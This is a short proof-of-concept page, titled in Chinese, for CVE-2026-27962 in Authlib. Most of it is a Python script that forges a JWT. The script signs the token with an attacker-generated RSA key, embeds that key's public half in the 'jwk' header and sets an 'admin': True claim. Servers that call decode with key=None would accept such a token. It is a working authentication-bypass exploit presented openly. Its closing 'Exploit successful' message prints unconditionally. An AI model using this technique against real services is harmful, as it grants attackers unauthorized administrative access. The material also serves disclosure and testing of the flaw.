CVE-2026-27962 Authlib JWK Header Injection漏洞允许伪造JWT令牌

#!/usr/bin/env python3 """ CVE-2026-27962 PoC - Authlib JWK Header Injection This PoC demonstrates how an attacker can forge arbitrary JWT tokens that pass signature verification in vulnerable versions of Authlib. """ import json import base64 from jwcrypto import jwk from authlib.jose import jwt # Generate attacker key pair key = jwk.JWK.generate(kty='RSA', size=2048) private_key = key.export_to_pem(private_key=True) public_key_jwk = json.loads(key.export_public()) # Create malicious payload (attacker wants admin access) payload = { 'sub': 'attacker', 'admin': True, 'iat': 1700000000, 'exp': 1700100000 } # Forge JWT with embedded public key in header # This is the key exploitation technique header = { 'alg': 'RS256', 'typ': 'JWT', 'jwk': public_key_jwk # Embed attacker's public key } # Sign with attacker's private key # In vulnerable version, when key=None is passed to decode, # the server will use the embedded jwk for verification forged_token = jwt.encode(header, payload, private_key) print(f"[+] Forged JWT Token: {forged_token}") print(f"[+] Payload contains admin=True, signed with attacker's key") print(f"[+] Target server will accept this token if it passes key=None") print(f"\n[+] Exploit successful - Authentication bypass achieved")